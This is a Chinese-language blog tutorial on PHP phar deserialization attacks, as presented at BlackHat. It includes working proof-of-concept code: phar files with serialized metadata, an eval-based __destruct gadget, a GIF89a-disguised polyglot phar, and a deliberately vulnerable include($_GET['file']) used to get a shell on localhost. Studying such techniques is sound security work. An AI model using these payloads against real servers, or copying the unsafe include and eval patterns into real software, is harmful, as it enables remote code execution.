• jQuery火箭图标返回顶部代码


    前言

    来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞。
    这个新的攻击方式被他公开在了美国的BlackHat会议演讲上,演讲主题为:”不为人所知的php反序列化漏洞”。它可以使攻击者将相关漏洞的严重程度升级为远程代码执行。

    官方手册

    phar的本质是一种压缩文件,会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

    PHP手册中可以看到具体的格式

     

     测试demo

    要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

     首先我们新建一个phar.phar 文件

    <?php
    class Test {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new Test();
    $o -> data='zad';
    $phar->setMetadata($o); //存入自定义的meta-data
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    $phar->stopBuffering();//签名自动计算
    ?>

    我们访问这个文件会当前路径下生成一个phar.phar的文件

     这个时候我们分析一下phar的文件,首先可以知道文件头是<?php __HALT_COMPILER(); ?>  ,这也就是我们可以理解为一个标志,格式为xxx<?php xxx;__HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件,而且这个让编译器停止编译的函数,当编译器执行到这之后就不再去解析后面的部分了

    其次也可以明显的看到meta-data是以序列化的形式存储

     既然有序列化了,那我们就需要反序列化来触发漏洞,看了orange师傅的博客以及seebug后,了解到受影响的函数如下

    如果meta-data 的内容是可控的话,在配合我们上面提到的会反序列化的函数,就可以造成漏洞。我们可以写一个代码看看

    <?php
    class TestO{
        function __destruct()
        {
            echo $this -> data;   
        }
    }
    include('phar://phar.phar');
    ?>

     当然,我们把我们传递的data值修改一下,也是可以执行命令的

    //phar_test.php
    
    <?php
    class Test{
        function __destruct()
        {
            eval($this -> data);
        }
    }
    include('phar://phar.phar');
    ?>
    
    //phar.php
    
    <?php
    class Test {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new Test();
    $o -> data='phpinfo();';
    $phar->setMetadata($o); //存入自定义的meta-data
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    $phar->stopBuffering();//签名自动计算
    ?>

     想了想直接在$phar -> addFromString 中添加php代码岂不是一个文件包含就直接getshell了,,代码如下

    //phar.php
    <?php
    class AnyClass{
        function __destruct()
        {
            echo $this -> output;
        }
    }
    $phar = new Phar('phar.phar');
    $phar -> stopBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
    $phar -> addFromString('test.txt','<?php phpinfo();?>');
    $object = new AnyClass();
    $object -> output= '123';
    $phar -> setMetadata($object);
    $phar -> stopBuffering();

    生成了一个新的phar.phar,我们在phpstorm中可以看到结构,在phar.phar下面会有一个test.txt ,内容是phpinfo

     在写一个简单的文件包含

    /include.php
    
    <?php
    $file=$_GET[file];
    include("$file");

    我们访问如下,也可以getshell

    http://localhost/include.php?file=phar://phar.phar/test.txt
    

    后记

  • 相关阅读:
    第1章:程序设计和C语言(C语言入门)
    倒计时IE6+
    uploadify 使用 详细 说明
    HTTP&#160;错误
    asp.net 向后台提交 html 代码段 包括 <> 标签
    C#使用NLog记录日志
    IE浏览器 location.href 不跳转
    .Net Core 导出Excel
    .net mvc 获取acion 返回类型
    sql sever 执行较大的文件脚本
  • 原文地址:https://www.cnblogs.com/kuaile1314/p/13493277.html
Copyright © 2020-2023  润新知